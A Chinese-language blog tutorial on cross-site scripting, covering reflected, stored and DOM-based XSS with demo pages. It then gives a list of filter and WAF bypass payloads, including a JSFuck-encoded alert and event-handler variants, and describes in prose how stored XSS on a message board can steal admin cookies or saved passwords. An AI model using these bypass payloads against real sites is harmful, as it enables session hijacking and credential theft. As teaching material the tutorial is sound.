侧边栏壁纸
博主头像
pingc

今天不学习,明天变乐色。

  • 累计撰写 9 篇文章
  • 累计创建 1 个标签
  • 累计收到 1 条评论
标签搜索

XSS跨站漏洞

pingc
2022-04-28 / 0 评论 / 0 点赞 / 330 阅读 / 4,567 字

什么是xss跨站

跨站脚本攻击XSS(Cross Site Scripting),是指攻击者对web页面植入恶意script代码,当用户浏览该页面时,嵌入Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。XSS攻击针对的是前端页面而非服务端。

反射型

非持久化,xss代码附加在url中,需要欺骗用户点击经过xss处理的链接才能触发。
如果xss代码不能附加在url上,就算能执行xss代码也无法攻击别人。
xss漏洞一般发生于与用户交互的地方。

简单实例

测试网站
这个页面点击提交后,输入框内的值会显示在下面。
image-1651130435323
如果我们在这输入xss代码就会被执行,也会添加到url中。
也就可以先编写好带有xss代码的链接对用户钓鱼,欺骗他点击触发xss代码。

<script>alert(1)</script>

image-1651130599910

存储型

持久化,加入xss代码后每次正常访问都会触发,只需要欺骗用户访问该页面即可。
一般出现在留言板,反馈,评论,订单等,会把数据存入数据库并显示在页面上,当用户查看这些数据的时候触发xss代码。

简单实例

测试网站
这个页面点击提交后,两个输入框内的值会存入数据库,每次访问显示在下面。

<script>alert(1)</script>

image-1651132155934
刷新页面,可以看到url没有带有xss代码,且每次正常访问该页面都会触发。
image-1651131551624

DOM型

DOM型与反射型类似,都是非持久化且xss代码附加在url中,需要欺骗用户点击经过xss处理的链接才能触发。
区别是反射型是数据提交到服务器,服务器返回回来然后显示在页面上。
DOM型是不经过服务器,只通过网页本身的JavaScript进行渲染触发xss代码。
可查看源代码,代码审计判断是否存在和利用方式。

简单实例

测试网站
这个页面,我们查看源代码可以发现,他是获取url的值来进行JS渲染。

        <div class="card-body">    
            <script type="text/javascript">
                    //document.write("Site is at: " + document.location.href + ".");
            var temp = document.URL; //获取URL内容
            var index = document.URL.indexOf("user=")+5;
            var par = temp.substring(index);
            document.write(decodeURI(par));//输入获取内容
            </script>
        </div>

那么我们在url中插入xss代码进行攻击。
image-1651133230428

过滤与WAF绕过

修改大小写,过滤不严谨没区分大小写

<script>改为<ScRiPt>

标签双写,只替换一次关键字为空

<script>改为<scr<script>ipt>

补全机制,html代码并不严谨,故意少写一个>

<script>改为<script

替换标签,过滤没写全,可以使用其他标签替代

<script><alert(1)></script>改为<details open ontoggle="alert(1);">

jsfuck编码,编码绕过关键字过滤

alert(1)编码为[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]][([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+!+[]]+(+[![]]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+(+(!+[]+!+[]+!+[]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([]+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][[]]+[])[+!+[]]+(![]+[])[+!+[]]+((+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]]](!+[]+!+[]+!+[]+[!+[]+!+[]])+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]])()((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[+!+[]+[!+[]+!+[]+!+[]]]+[+!+[]]+([+[]]+![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[!+[]+!+[]+[+[]]])

几个xss绕过写法

<img src=a onerror=alert(1)>

<img src=a onerror=alert`1`>

<img src=a /onerror=alert(1)>

<img src="a"onerror=alert(1)>

<img src=a onerror=alert(1)//>

<iframe sRc="javascript:alert(1)"></iframe>

<iframe sRc="javascr&#105;pt:alert(1)"></iframe>

<form><button formaction="javascript:alert(1)">

<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxMSk8L3NjcmlwdD4="></object>

恶意的XSS代码

以上测试我们使用的是弹窗方便理解,实际利用的时候我们一般是通过xss代码引入外部js,来执行更多复杂的操作。

比如:
我们一般利用是通过存储型,植入获取cookie的xss代码到留言板,,等管理员访问后台查看留言时,会触发xss代码,发送cookie和后台路径给到我们。

但如果网站开启了httpOnly,那么获取到的cookie会为空。
绕过:如果管理员保存了密码到浏览器,可以用JS去获取浏览器保存的账号密码

使用XSS平台进行利用,里面内置了很多xss代码,可接受执行返回结果,也能通过邮箱接收通知。
可以看到这里有相当多的功能,根据自己的需要选择使用。
image-1651133639695

0

评论区